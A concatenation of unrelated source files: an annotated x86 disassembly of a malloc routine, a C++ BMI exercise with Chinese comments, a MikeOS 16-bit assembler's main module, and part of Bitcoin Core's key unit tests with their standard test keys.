833: 8b 55 ec mov -0x14(%ebp),%edx
836: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
839: 8b 45 f0 mov -0x10(%ebp),%eax
83c: a3 20 0b 00 00 mov %eax,0xb20
return (void*)(p + 1);
841: 8b 45 f4 mov -0xc(%ebp),%eax
844: 83 c0 08 add $0x8,%eax
847: eb 38 jmp 881 <malloc+0xde>
}
if(p == freep)
849: a1 20 0b 00 00 mov 0xb20,%eax
84e: 39 45 f4 cmp %eax,-0xc(%ebp)
851: 75 1b jne 86e <malloc+0xcb>
if((p = morecore(nunits)) == 0)
853: 8b 45 ec mov -0x14(%ebp),%eax
856: 89 04 24 mov %eax,(%esp)
859: e8 ed fe ff ff call 74b <morecore>
85e: 89 45 f4 mov %eax,-0xc(%ebp)
861: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
865: 75 07 jne 86e <malloc+0xcb>
return 0;
867: b8 00 00 00 00 mov $0x0,%eax
86c: eb 13 jmp 881 <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
86e: 8b 45 f4 mov -0xc(%ebp),%eax
871: 89 45 f0 mov %eax,-0x10(%ebp)
874: 8b 45 f4 mov -0xc(%ebp),%eax
877: 8b 00 mov (%eax),%eax
879: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
87c: e9 70 ff ff ff jmp 7f1 <malloc+0x4e>
}
881: c9 leave
882: c3 ret
|
// 编写一个小程序,要求以几英尺几英寸的方式输入其身高,并以磅为单位输入其体重(使用3个变量来存储这些信息)
// 该程序可以报告体重指数。
// 为了计算BMI,该程序以英寸为单位指出用户的身高(1英尺=12英寸),并将以英寸为单位的身高转换为以米为单位的身高(1英寸=0.0254米)
// 然后,将以磅为单位的体重转换为以千克为单位的体重(1千克=2.2磅)。
// 计算BMI,即体重除以身高的平方。
// 用符号常量表示各种转换因子。
#include <iostream>
using namespace std;
const int FOOT_TO_INCH = 12;
const float INCH_TO_METER = 0.0254;
const float KILOGRAM_TO_POUND = 2.2;
int main()
{
int height_FOOT, height_INCH;
float weight_POUND, weight;
float height, BMI;
cout << "请输入身高:";
cout << "\t英尺:";
cin >> height_FOOT;
cout << "\t英寸:";
cin >> height_INCH;
cout << "请输入体重:";
cin >> weight_POUND;
height = (height_FOOT * FOOT_TO_INCH + height_INCH) * INCH_TO_METER;
weight = weight_POUND / KILOGRAM_TO_POUND;
BMI = weight / (height * height);
cout << "你的BMI是:" << BMI << endl;
return 0;
} |
;===============================================================================
; class Main
;===============================================================================
bits 16
org 32768
; entry point
; ----------------------------------------------------------------------
jmp Main.main
; private properties
; ----------------------------------------------------------------------
Main.fileName db "________.___", 0
Main.defaultOutputFileName db "OUT.BIN", 0
Main.isFirstToken db 1
Main.line dw 0
; public methods
; ----------------------------------------------------------------------
Main.main: ; (entry point)
; --------------------------------------------------------------
call Main.clearMemory
mov al, ' '
cmp si, 0 ; Were we passed a filename?
; je .no_param_passed
call os_string_tokenize ; If so, get it from params
; call os_print_string
; call os_print_newline
; ret
push di
mov di, Main.fileName ; Save file for later usage
call os_string_copy
pop di
cmp di, 0
je .noSecondArgument
mov si, di ; second parameter=output file
call os_string_tokenize
mov di, Main.outputFileName
call os_string_copy
jmp .startAssembler
.noSecondArgument:
mov si, Main.defaultOutputFileName
mov di, Main.outputFileName
call os_string_copy
.startAssembler:
; ------------------------------------- ; Copied from edit.asm
mov si, Main.fileName
call parser.setFileName
call parser.start
cmp ah, 1
je .fileLoaded
.fileNotFound:
mov si, Main.msg.error.fileNotFound
call os_print_string
call os_print_newline
ret
.fileLoaded:
mov si, Main.msg.assembling
call os_print_string
mov si, Main.fileName
call os_print_string
mov si, Main.msg.assembling2
call os_print_string
call os_print_newline
.newLine:
; call os_wait_for_key ; <----------------- wait for key to process next line
inc word [Main.line]
mov byte [Main.isFirstToken], 1
call Mem.clear
call OpcodeGenerator.clearIbIwRMStacks
call InstructionHandler.clear
call os_print_newline
call Main.printLineNumber
.getNextToken:
call parser.getNextToken
.isEndOfFile:
cmp ah, 0 ; parser.endofline is bugged ?
je .end
mov al, [token.value]
cmp al, 0
je .end
.notIsEndOfLine:
.verifyFirstToken:
; first token of line can be label or instruction
mov al, [Main.isFirstToken]
cmp al, 1
jne .notIsFirstToken
call Main.handleFirstToken
cmp ah, 2 ; endofline
je Main.main.newLine
cmp ah, 1
je .firstTokenOk
.expectedLabelOrInstr:
mov si, Main.msg.error.expectedLabelOrInstr
call os_print_string
call os_print_newline
ret
.firstTokenOk:
.notIsFirstToken:
; second token must be a instruction
mov al, [Main.isFirstToken]
cmp al, 2
jne .mustNotBeInstruction
call Main.handleInstruction
cmp ah, 2 ; endofline
je Main.main.newLine
cmp ah, 1
jne .notIsInstruction
.isInstruction:
; call the official instruction handler
; if ah=0 there isn't implementation, so will use default handler
mov ah, 0
call [token.handler]
cmp ah, 1
je .newLine
cmp ah, 2 ; error !
je .errorInstructionHandler
jmp .getNextToken
.errorInstructionHandler:
mov si, Main.msg.error.instructionHandler
call os_print_string
call os_print_newline
ret
.notIsInstruction:
mov si, Main.msg.error.expectedInstr
call os_print_string
call os_print_newline
ret
.mustNotBeInstruction:
; is end of line ?
mov al, [token.type]
cmp al, Token.TYPE_END_OF_LINE
je .searchInstruction
call Main.printTokenInfo ; <-- debug: show token info
;-------------------------------------------------------
call Main.handleReg
cmp ah, 1
jne .notIsReg
.isReg:
jmp .getNextToken
.notIsReg:
;-------------------------------------------------------
call Main.handleImm
cmp ah, 1
jne .notIsImm
.isImm:
jmp .getNextToken
.notIsImm:
;-------------------------------------------------------
call Main.handleMem
cmp ah, 1
jne .notIsMem
.isMem:
jmp .getNextToken
.notIsMem:
;-------------------------------------------------------
call Main.handleLabel
cmp ah, 1
jne .notIsLabel
.isLabel:
jmp .getNextToken
.notIsLabel:
;-------------------------------------------------------
call Main.handleSingleQuotes
cmp ah, 1
jne .notIsSingleQuotes
.isSingleQuotes:
jmp .getNextToken
.notIsSingleQuotes:
;-------------------------------------------------------
mov al, [token.type]
call InstructionHandler.addTokenType
jmp .getNextToken
.searchInstruction:
mov si, Main.msg.serchingInstruction
call os_print_string
call os_print_newline
call InstructionHandler.classify
cmp ah, 1
jne .notIsValidInstruction
.isValidInstruction:
mov si, Main.msg.serchingInstruction.isValid
call os_print_string
call os_print_newline
jmp short .generateOpcode
.notIsValidInstruction:
mov si, Main.msg.serchingInstruction.notIsValid
call os_print_string
call os_print_newline
ret
.generateOpcode:
mov si, Main.msg.generationOpcode
call os_print_string
call os_print_newline
mov ax, [InstructionHandler.opcodeGenerationPointer]
call OpcodeGenerator.execute
cmp bl, 0
je .notImplementedYet
cmp bl, 2
je .invalidArguments
jmp .newLine
.notImplementedYet:
mov si, Main.msg.error.notImplementedYet
call os_print_string
call os_print_newline
ret
.invalidArguments:
mov si, Main.msg.error.invalidArguments
call os_print_string
call os_print_newline
ret
.end:
.success:
call os_print_newline
;call LabelHandler.list
mov ax, [OpcodeGenerator.startMemoryAddress]
call LabelResolver.resolve
call os_print_newline
; call LabelResolver.list
call Main.writeFile
call os_print_newline
mov si, Main.msg.assemblerSucess
call os_print_string
call os_print_newline
ret
Main.msg.here db "---> here <---", 0
Main.msg.assembling db "Assembling ", 0
Main.msg.assembling2 db " ...", 0
Main.msg.invokingHandler db "Invoking handler ...",0
Main.msg.serchingInstruction db " --> Verifying arguments ...", 0
Main.msg.serchingInstruction.isValid db " Arguments ok.", 0
Main.msg.serchingInstruction.notIsValid db " Invalid arguments !", 0
Main.msg.generationOpcode db " Generating opcode ...", 0
Main.msg.error.fileNotFound db "File not found !", 0
Main.msg.error.notImplementedYet db "Instruction not implemented yet !", 0
Main.msg.error.invalidArguments db "Invalid arguments !", 0
Main.msg.error.expectedLabelOrInstr db "Expected label or instruction !", 0
Main.msg.error.expectedInstr db "Expected instruction !", 0
Main.msg.error.instructionHandler db "Error instruction handler !", 0
Main.msg.assemblerSucess db "Success.", 0
; private methods
; ----------------------------------------------------------------------
Main.handleFirstToken:
; --------------------------------------------------------------
; ah = 0 - Expected label or instruction ! (end of line is ignored)
; 1 - ok
; 2 - end of line
mov al, [token.type]
cmp al, Token.TYPE_END_OF_LINE
je .endOfLine
cmp al, Token.TYPE_LABEL
je .isLabel
jmp .notIsLabel
.isLabel:
mov si, Main.msg.handlingLabel
call os_print_string
mov si, token.value
call os_print_string
call os_print_newline
; ax = pointer to label string
; dx = offset
mov ax, token.value
mov dx, [OpcodeGenerator.index]
call LabelHandler.add
call parser.getNextToken
mov al, [token.type]
cmp al, Token.TYPE_DOIS_PONTOS
jne .notIsDoisPontos
.isDoisPontos:
call parser.getNextToken
mov ah, 1
jmp short .ret
.notIsLabel:
; at least is instruction ?
cmp al, Token.TYPE_INSTR
je .isInstruction
.notIsInstruction:
mov ah, 0
jmp short .ret
.isInstruction:
.notIsDoisPontos:
mov ah, 1
jmp short .ret
.ret:
mov byte [Main.isFirstToken], 2
ret
.endOfLine:
mov ah, 2
ret
Main.msg.handlingLabel db " Handling label: ", 0
Main.handleInstruction:
; --------------------------------------------------------------
; ah = 0 - not is instruction
; 1 - success
; 2 - end of line
mov al, [token.type]
cmp al, Token.TYPE_END_OF_LINE
je .endOfLine
cmp al, Token.TYPE_INSTR
je .isInstruction
.notIsInstruction:
mov ah, 0
ret
.isInstruction:
mov si, Main.msg.handlingInstruction
call os_print_string
mov si, token.value
call os_print_string
call os_print_newline
mov al, [token.id]
call InstructionHandler.addTokenType ; if instruction, token type = id
mov byte [Main.isFirstToken], 3
mov ah, 1
ret
.endOfLine:
mov ah, 2
ret
Main.msg.handlingInstruction db " Handling instruction: ", 0
Main.handleReg:
; --------------------------------------------------------------
; ah = 0 - not is reg
; 1 - success
mov al, [token.type]
cmp al, Token.TYPE_REG8
je .isReg
cmp al, Token.TYPE_REG16
je .isReg
cmp al, Token.TYPE_REGSEG
je .isReg
.notIsReg:
mov ah, 0
ret
.isReg:
mov al, [token.type]
call InstructionHandler.addTokenType
; al = Id
; ah = Type
; cl = RegIndex
; ch = R/M
; dl = has extra imm8
; dh = extra imm8
; bh = has extra imm16
; si = extra imm16
mov al, [token.id]
mov ah, [token.type]
mov cl, [token.handler] ; for registers handler contains index
mov ch, [token.handler+1] ; for registers handler+1 contains r/m
mov dl, 0
mov dh, 0
mov bh, 0
mov si, 0
call OpcodeGenerator.pushRM
mov ah, 1
ret
Main.handleImm:
; --------------------------------------------------------------
; ah = 0 - not is imm
; 1 - success
mov al, [token.type]
cmp al, Token.TYPE_IMM8
je .isImm
cmp al, Token.TYPE_IMM16
je .isImm
.notIsImm:
mov ah, 0
ret
.isImm:
;---------------------------------------------
.verifyisTokenImm8Or16:
cmp al, Token.TYPE_IMM8
je .addImm8ToMem
cmp al, Token.TYPE_IMM16
je .addImm16ToMem
jmp short .notIsImm
.addImm8ToMem:
mov si, Main.msg.addImm8ToMem
call os_print_string
call os_print_newline
mov ax, [token.iw]
call OpcodeGenerator.pushIb
jmp short .success
.addImm16ToMem:
mov si, Main.msg.addImm16ToMem
call os_print_string
call os_print_newline
mov ax, [token.iw]
mov cl, 0 ; not is label
call OpcodeGenerator.pushIw
jmp short .success
.success:
mov al, [token.type]
call InstructionHandler.addTokenType
mov ah, 1
ret
Main.handleMem:
; --------------------------------------------------------------
; ah = 0 - not is mem
; 1 - is mem
; 2 - mem is not valid !
mov al, [token.value]
cmp al, '['
je .isMem
.notIsMem:
mov ah, 0
ret
.isMem:
mov si, Main.msg.handlingMem
call os_print_string
call os_print_newline
.nextToken:
call parser.getNextToken
.printToken:
mov si, Main.msg.3spaces
call os_print_string
call Main.printTokenInfo
mov al, [token.value]
cmp al, ']'
je .end
;---------------------------------------------
.verifyIsTokenLabel:
mov al, [token.type]
cmp al, Token.TYPE_LABEL
jne .notIsLabel
.isLabel:
mov si, .verifyIsTokenLabel.msg.handlingLabel
call os_print_string
call os_print_newline
mov ax, 0
mov word [Mem.iw], ax
mov word [Mem.iwIsLabel], 1
mov byte [Mem.isIbOrIw], 2
mov ax, 0
mov cl, 1 ; is label
mov dx, token.value ; label name
call OpcodeGenerator.pushIw
mov al, Token.ID_IMM16
call Mem.addTokenId
jmp .nextToken
.verifyIsTokenLabel.msg.handlingLabel db " Handling label: ", 0
.notIsLabel:
.verifyIsTokenLabel.end:
;---------------------------------------------
mov al, [token.id]
call Mem.addTokenId
;---------------------------------------------
.verifyisTokenImm8Or16:
cmp al, Token.ID_IMM8
je .addImm8ToMem
cmp al, Token.ID_IMM16
je .addImm16ToMem
jmp short .endOfVerifyisTokenImm8Or16
.addImm8ToMem:
mov si, Main.msg.addImm8ToMem
call os_print_string
call os_print_newline
mov ax, [token.iw]
mov byte [Mem.ib], al
mov byte [Mem.isIbOrIw], 1
jmp short .endOfVerifyisTokenImm8Or16
.addImm16ToMem:
mov si, Main.msg.addImm16ToMem
call os_print_string
call os_print_newline
mov ax, [token.iw]
mov word [Mem.iw], ax
mov word [Mem.iwIsLabel], 0
mov byte [Mem.isIbOrIw], 2
jmp short .endOfVerifyisTokenImm8Or16
;---------------------------------------------
.endOfVerifyisTokenImm8Or16:
jmp .nextToken
.end:
call Mem.classify
cmp ah, 1
je .memIsValid
.memIsNotValid:
mov si, Main.msg.mem.classify.notIsValid
call os_print_string
call os_print_newline
mov ah, 2
ret
.memIsValid:
mov si, Main.msg.mem.classify.isValid
call os_print_string
call os_print_newline
; al = Id
; ah = Type
; cl = RegIndex
; ch = R/M
; dl = has extra imm8
; dh = extra imm8
; bh = has extra imm16
; si = extra imm16
; di = extra imm16 is label ? 1=true 0=false
mov al, [token.id]
mov ah, [token.type]
mov cl, 0
mov ch, [Mem.rm]
mov dl, 0
mov dh, 0
mov bh, 0
mov si, 0
mov di, [Mem.iwIsLabel]
.verifyHasExtraByteOrWord:
mov bl, [Mem.isIbOrIw]
cmp bl, 1
je .hasExtraByte
cmp bl, 2
je .hasExtraWord
cmp bl, 3 ; must write word, but the original imm value is byte (imm8)
je .hasExtraWordGetByte
jmp short .notHasExtraByteOrWord
.hasExtraByte:
mov dl, 1
mov dh, [Mem.ib]
jmp short .pushRM
.hasExtraWord:
mov bh, 1
mov si, [Mem.iw]
jmp short .pushRM
.hasExtraWordGetByte: ; for mov [1], cl
mov bh, 1
mov dh, 0
mov dl, [Mem.ib]
mov si, dx
mov dx, 0
jmp short .pushRM
.notHasExtraByteOrWord:
.pushRM:
call OpcodeGenerator.pushRM
mov al, Token.TYPE_MEM
call InstructionHandler.addTokenType
mov ah, 1
ret
Main.msg.3spaces db " ",0
Main.msg.handlingMem db " Handling mem: ",0
Main.msg.mem.classify.isValid db " Mem format ok ! ", 0
Main.msg.mem.classify.notIsValid db " Mem format not valid ! ", 0
Main.msg.addImm8ToMem db " Adding imm8 to mem.", 0
Main.msg.addImm16ToMem db " Adding imm16 to mem.", 0
Main.handleLabel:
; --------------------------------------------------------------
; ah = 0 - not is label
; 1 - success
mov al, [token.type]
cmp al, Token.TYPE_LABEL
je .isLabel
.notIsLabel:
mov ah, 0
ret
.isLabel:
mov si, Main.msg.handlingLabel2
call os_print_string
mov si, token.value
call os_print_string
call os_print_newline
; // TODO label token value needs to save too ?
mov ax, 0
mov cl, 1 ; is label
mov dx, token.value ; label name
call OpcodeGenerator.pushIw
mov al, Token.TYPE_IMM16
call InstructionHandler.addTokenType
mov ah, 1
ret
Main.msg.handlingLabel2 db " Handling label: ", 0
Main.handleSingleQuotes:
; --------------------------------------------------------------
; ah = 0 - not is single quotes
; 1 - success
mov al, [token.type]
cmp al, Token.TYPE_STRING
je .isString
.notIsSingleQuotes:
mov ah, 0
ret
.isString:
mov ax, token.value
call os_string_length
cmp ax, 3
jg .notIsSingleQuotes
.isSingleQuotes:
mov si, Main.msg.handlingSingleQuotes
call os_print_string
mov si, token.value
call os_print_string
call os_print_newline
mov al, [token.value+1] ; byte value
call OpcodeGenerator.pushIb
mov al, Token.TYPE_IMM8
call InstructionHandler.addTokenType
mov byte [Main.isFirstToken], 3
mov ah, 1
ret
Main.msg.handlingSingleQuotes db " Handling single quotes: ", 0
Main.printTokenInfo:
; --------------------------------------------------------------
.printTokenValue:
mov si, Main.msg.tokenEqual
call os_print_string
mov si, token.value
call os_print_string
.printTokenType:
mov si, Main.msg.tokenTypeEqual
call os_print_string
mov ah, 0
mov al, [token.type]
call os_int_to_string
mov si, ax
call os_print_string
.printTokenId:
mov si, Main.msg.tokenIdEqual
call os_print_string
mov ah, 0
mov al, [token.id]
call os_int_to_string
mov si, ax
call os_print_string
call os_print_newline
ret
Main.msg.tokenEqual db "Token=", 0
Main.msg.tokenTypeEqual db " / type=", 0
Main.msg.tokenIdEqual db " / id=", 0
Main.printLineNumber:
; --------------------------------------------------------------
mov si, Main.msg.lineNumberEqual
call os_print_string
mov ah, 0
mov al, [Main.line]
call os_int_to_string
mov si, ax
call os_print_string
call os_print_newline
ret
Main.msg.lineNumberEqual db "Line=", 0
Main.writeFile:
; --------------------------------------------------------------
mov si, Main.msg.writingFile1
call os_print_string
mov si, Main.outputFileName
call os_print_string
mov si, Main.msg.writingFile2
call os_print_string
call os_print_newline
mov ax, Main.outputFileName
mov bx, [OpcodeGenerator.startMemoryAddress]
mov cx, [OpcodeGenerator.index]
call os_remove_file
call os_write_file
ret
Main.outputFileName db "________.___", 0
Main.msg.writingFile1 db "Writing ",0
Main.msg.writingFile2 db " file ...", 0
Main.clearMemory:
; --------------------------------------------------------------
mov bx, FileInputStream.MEMORY_LOCATION_TO_LOAD
.next:
mov byte [bx] ,0
cmp bx, 0ffffh
je .end
inc bx
jmp .next
.end
ret
; includes
; ----------------------------------------------------------------------
%include "include/mikedev.inc"
%include "include/OpcodeGenerator.inc"
%include "include/InstructionsHandler.inc"
%include "include/FileInputStream.inc"
%include "include/Token.inc"
%include "include/Character.inc"
%include "include/Imm.inc"
%include "include/Parser.inc"
%include "include/Keywords.inc"
%include "include/Mem.inc"
%include "include/LabelResolver.inc"
%include "include/LabelHandler.inc"
;===============================================================================
|
// Copyright (c) 2012-2020 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <key.h>
#include <key_io.h>
#include <streams.h>
#include <test/util/setup_common.h>
#include <uint256.h>
#include <util/strencodings.h>
#include <util/string.h>
#include <util/system.h>
#include <string>
#include <vector>
#include <boost/test/unit_test.hpp>
static const std::string strSecret1 = "5HxWvvfubhXpYYpS3tJkw6fq9jE9j18THftkZjHHfmFiWtmAbrj";
static const std::string strSecret2 = "5KC4ejrDjv152FGwP386VD1i2NYc5KkfSMyv1nGy1VGDxGHqVY3";
static const std::string strSecret1C = "Kwr371tjA9u2rFSMZjTNun2PXXP3WPZu2afRHTcta6KxEUdm1vEw";
static const std::string strSecret2C = "L3Hq7a8FEQwJkW1M2GNKDW28546Vp5miewcCzSqUD9kCAXrJdS3g";
static const std::string addr1 = "1QFqqMUD55ZV3PJEJZtaKCsQmjLT6JkjvJ";
static const std::string addr2 = "1F5y5E5FMc5YzdJtB9hLaUe43GDxEKXENJ";
static const std::string addr1C = "1NoJrossxPBKfCHuJXT4HadJrXRE9Fxiqs";
static const std::string addr2C = "1CRj2HyM1CXWzHAXLQtiGLyggNT9WQqsDs";
static const std::string strAddressBad = "1HV9Lc3sNHZxwj4Zk6fB38tEmBryq2cBiF";
BOOST_FIXTURE_TEST_SUITE(key_tests, BasicTestingSetup)
BOOST_AUTO_TEST_CASE(key_test1)
{
CKey key1 = DecodeSecret(strSecret1);
BOOST_CHECK(key1.IsValid() && !key1.IsCompressed());
CKey key2 = DecodeSecret(strSecret2);
BOOST_CHECK(key2.IsValid() && !key2.IsCompressed());
CKey key1C = DecodeSecret(strSecret1C);
BOOST_CHECK(key1C.IsValid() && key1C.IsCompressed());
CKey key2C = DecodeSecret(strSecret2C);
BOOST_CHECK(key2C.IsValid() && key2C.IsCompressed());
CKey bad_key = DecodeSecret(strAddressBad);
BOOST_CHECK(!bad_key.IsValid());
CPubKey pubkey1 = key1. GetPubKey();
CPubKey pubkey2 = key2. GetPubKey();
CPubKey pubkey1C = key1C.GetPubKey();
CPubKey pubkey2C = key2C.GetPubKey();
BOOST_CHECK(key1.VerifyPubKey(pubkey1));
BOOST_CHECK(!key1.VerifyPubKey(pubkey1C));
BOOST_CHECK(!key1.VerifyPubKey(pubkey2));
BOOST_CHECK(!key1.VerifyPubKey(pubkey2C));
BOOST_CHECK(!key1C.VerifyPubKey(pubkey1));
BOOST_CHECK(key1C.VerifyPubKey(pubkey1C));
BOOST_CHECK(!key1C.VerifyPubKey(pubkey2));
BOOST_CHECK(!key1C.VerifyPubKey(pubkey2C));
BOOST_CHECK(!key2.VerifyPubKey(pubkey1));
BOOST_CHECK(!key2.VerifyPubKey(pubkey1C));
BOOST_CHECK(key2.VerifyPubKey(pubkey2));
BOOST_CHECK(!key2.VerifyPubKey(pubkey2C));
BOOST_CHECK(!key2C.VerifyPubKey(pubkey1));
BOOST_CHECK(!key2C.VerifyPubKey(pubkey1C));
BOOST_CHECK(!key2C.VerifyPubKey(pubkey2));
BOOST_CHECK(key2C.VerifyPubKey(pubkey2C));
BOOST_CHECK(DecodeDestination(addr1) == CTxDestination(PKHash(pubkey1)));
BOOST_CHECK(DecodeDestination(addr2) == CTxDestination(PKHash(pubkey2)));
BOOST_CHECK(DecodeDestination(addr1C) == CTxDestination(PKHash(pubkey1C)));
BOOST_CHECK(DecodeDestination(addr2C) == CTxDestination(PKHash(pubkey2C)));
for (int n=0; n<16; n++)
{
std::string strMsg = strprintf("Very secret message %i: 11", n);
uint256 hashMsg = Hash(strMsg);
// normal signatures
std::vector<unsigned char> sign1, sign2, sign1C, sign2C;
BOOST_CHECK(key1.Sign (hashMsg, sign1));
BOOST_CHECK(key2.Sign (hashMsg, sign2));
BOOST_CHECK(key1C.Sign(hashMsg, sign1C));
BOOST_CHECK(key2C.Sign(hashMsg, sign2C));
BOOST_CHECK( pubkey1.Verify(hashMsg, sign1));
BOOST_CHECK(!pubkey1.Verify(hashMsg, sign2));
BOOST_CHECK( pubkey1.Verify(hashMsg, sign1C));
BOOST_CHECK(!pubkey1.Verify(hashMsg, sign2C));
BOOST_CHECK(!pubkey2.Verify(hashMsg, sign1));
BOOST_CHECK( pubkey2.Verify(hashMsg, sign2));
BOOST_CHECK(!pubkey2.Verify(hashMsg, sign1C));
BOOST_CHECK( pubkey2.Verify(hashMsg, sign2C));
BOOST_CHECK( pubkey1C.Verify(hashMsg, sign1));
BOOST_CHECK(!pubkey1C.Verify(hashMsg, sign2));
BOOST_CHECK( pubkey1C.Verify(hashMsg, sign1C));
BOOST_CHECK(!pubkey1C.Verify(hashMsg, sign2C));
BOOST_CHECK(!pubkey2C.Verify(hashMsg, sign1));
BOOST_CHECK( pubkey2C.Verify(hashMsg, sign2));
BOOST_CHECK(!pubkey2C.Verify(hashMsg, sign1C));
BOOST_CHECK( pubkey2C.Verify(hashMsg, sign2C));
// compact signatures (with key recovery)
std::vector<unsigned char> csign1, csign2, csign1C, csign2C;
BOOST_CHECK(key1.SignCompact (hashMsg, csign1));
BOOST_CHECK(key2.SignCompact (hashMsg, csign2));
BOOST_CHECK(key1C.SignCompact(hashMsg, csign1C));
BOOST_CHECK(key2C.SignCompact(hashMsg, csign2C));
CPubKey rkey1, rkey2, rkey1C, rkey2C;
BOOST_CHECK(rkey1.RecoverCompact (hashMsg, csign1));
BOOST_CHECK(rkey2.RecoverCompact (hashMsg, csign2));
BOOST_CHECK(rkey1C.RecoverCompact(hashMsg, csign1C));
BOOST_CHECK(rkey2C.RecoverCompact(hashMsg, csign2C));
BOOST_CHECK(rkey1 == pubkey1);
BOOST_CHECK(rkey2 == pubkey2);
BOOST_CHECK(rkey1C == pubkey1C);
BOOST_CHECK(rkey2C == pubkey2C);
}
// test deterministic signing
std::vector<unsigned char> detsig, detsigc;
std::string strMsg = "Very deterministic message";
uint256 hashMsg = Hash(strMsg);
BOOST_CHECK(key1.Sign(hashMsg, detsig));
BOOST_CHECK(key1C.Sign(hashMsg, detsigc));
BOOST_CHECK(detsig == detsigc);
BOOST_CHECK(detsig == ParseHex("304402205dbbddda71772d95ce91cd2d14b592cfbc1dd0aabd6a394b6c2d377bbe59d31d022014ddda21494a4e221f0824f0b8b924c43fa43c0ad57dccdaa11f81a6bd4582f6"));
BOOST_CHECK(key2.Sign(hashMsg, detsig));
BOOST_CHECK(key2C.Sign(hashMsg, detsigc));
BOOST_CHECK(detsig == detsigc);
BOOST_CHECK(detsig == ParseHex("3044022052d8a32079c11e79db95af63bb9600c5b04f21a9ca33dc129c2bfa8ac9dc1cd5022061d8ae5e0f6c1a16bde3719c64c2fd70e404b6428ab9a69566962e8771b5944d"));
BOOST_CHECK(key1.SignCompact(hashMsg, detsig));
BOOST_CHECK(key1C.SignCompact(hashMsg, detsigc));
BOOST_CHECK(detsig == ParseHex("1c5dbbddda71772d95ce91cd2d14b592cfbc1dd0aabd6a394b6c2d377bbe59d31d14ddda21494a4e221f0824f0b8b924c43fa43c0ad57dccdaa11f81a6bd4582f6"));
BOOST_CHECK(detsigc == ParseHex("205dbbddda71772d95ce91cd2d14b592cfbc1dd0aabd6a394b6c2d377bbe59d31d14ddda21494a4e221f0824f0b8b924c43fa43c0ad57dccdaa11f81a6bd4582f6"));
BOOST_CHECK(key2.SignCompact(hashMsg, detsig));
BOOST_CHECK(key2C.SignCompact(hashMsg, detsigc));
BOOST_CHECK(detsig == ParseHex("1c52d8a32079c11e79db95af63bb9600c5b04f21a9ca33dc129c2bfa8ac9dc1cd561d8ae5e0f6c1a16bde3719c64c2fd70e404b6428ab9a69566962e8771b5944d"));
BOOST_CHECK(detsigc == ParseHex("2052d8a32079c11e79db95af63bb9600c5b04f21a9ca33dc129c2bfa8ac9dc1cd561d8ae5e0f6c1a16bde3719c64c2fd70e404b6428ab9a69566962e8771b5944d"));
}
BOOST_AUTO_TEST_CASE(key_signature_tests)
{
// When entropy is specified, we should see at least one high R signature within 20 signatures
CKey key = DecodeSecret(strSecret1);
std::string msg = "A message to be signed";
uint256 msg_hash = Hash(msg);
std::vector<unsigned char> sig;
bool found = false;
for (int i = 1; i <=20; ++i) {
sig.clear();
BOOST_CHECK(key.Sign(msg_hash, sig, false, i));
found = sig[3] == 0x21 && sig[4] == 0x00;
if (found) {
break;
}
}
BOOST_CHECK(found);
// When entropy is not specified, we should always see low R signatures that are less than 70 bytes in 256 tries
// We should see at least one signature that is less than 70 bytes.
found = true;
bool found_small = false;
for (int i = 0; i < 256; ++i) {
sig.clear();
std::string msg = "A message to be signed" + ToString(i);
msg_hash = Hash(msg);
BOOST_CHECK(key.Sign(msg_hash, sig));
found = sig[3] == 0x20;
BOOST_CHECK(sig.size() <= 70);
found_small |= sig.size() < 70;
}
BOOST_CHECK(found);
BOOST_CHECK(found_small);
}
BOOST_AUTO_TEST_CASE(key_key_negation)
{
// create a dummy hash for signature comparison
unsigned char rnd[8];
std::string str = "BazCoin key verification\n";
GetRandBytes(rnd, sizeof(rnd));
uint256 hash;
CHash256().Write(MakeUCharSpan(str)).Write(rnd).Finalize(hash);
// import the static test key
CKey key = DecodeSecret(strSecret1C);
// create a signature
std::vector<unsigned char> vch_sig;
std::vector<unsigned char> vch_sig_cmp;
key.Sign(hash, vch_sig);
// negate the key twice
BOOST_CHECK(key.GetPubKey().data()[0] == 0x03);
key.Negate();
// after the first negation, the signature must be different
key.Sign(hash, vch_sig_cmp);
BOOST_CHECK(vch_sig_cmp != vch_sig);
BOOST_CHECK(key.GetPubKey().data()[0] == 0x02);
key.Negate();
// after the second negation, we should have the original key and thus the
// same signature
key.Sign(hash, vch_sig_cmp);
BOOST_CHECK(vch_sig_cmp == vch_sig);
BOOST_CHECK(key.GetPubKey().data()[0] == 0x03);
}
static CPubKey UnserializePubkey(const std::vector<uint8_t>& data)
{
CDataStream stream{SER_NETWORK, INIT_PROTO_VERSION};
stream << data;
CPubKey pubkey;
stream >> pubkey;
return pubkey;
}
static unsigned int GetLen(unsigned char chHeader)
{
if (chHeader == 2 || chHeader == 3)
return CPubKey::COMPRESSED_SIZE;
if (chHeader == 4 || chHeader == 6 || chHeader == 7)
return CPubKey::SIZE;
return 0;
}
static void CmpSerializationPubkey(const CPubKey& pubkey)
{
CDataStream stream{SER_NETWORK, INIT_PROTO_VERSION};
stream << pubkey;
CPubKey pubkey2;
stream >> pubkey2;
BOOST_CHECK(pubkey == pubkey2);
}
BOOST_AUTO_TEST_CASE(pubkey_unserialize)
{
for (uint8_t i = 2; i <= 7; ++i) {
CPubKey key = UnserializePubkey({0x02});
BOOST_CHECK(!key.IsValid());
CmpSerializationPubkey(key);
key = UnserializePubkey(std::vector<uint8_t>(GetLen(i), i));
CmpSerializationPubkey(key);
if (i == 5) {
BOOST_CHECK(!key.IsValid());
} else {
BOOST_CHECK(key.IsValid());
}
}
}
BOOST_AUTO_TEST_CASE(bip340_test_vectors)
{
static const std::vector<std::pair<std::array<std::string, 3>, bool>> VECTORS = {
{{"F9308A019258C31049344F85F89D5229B531C845836F99B08601F113BCE036F9", "0000000000000000000000000000000000000000000000000000000000000000", "E907831F80848D1069A5371B402410364BDF1C5F8307B0084C55F1CE2DCA821525F66A4A85EA8B71E482A74F382D2CE5EBEEE8FDB2172F477DF4900D310536C0"}, true},
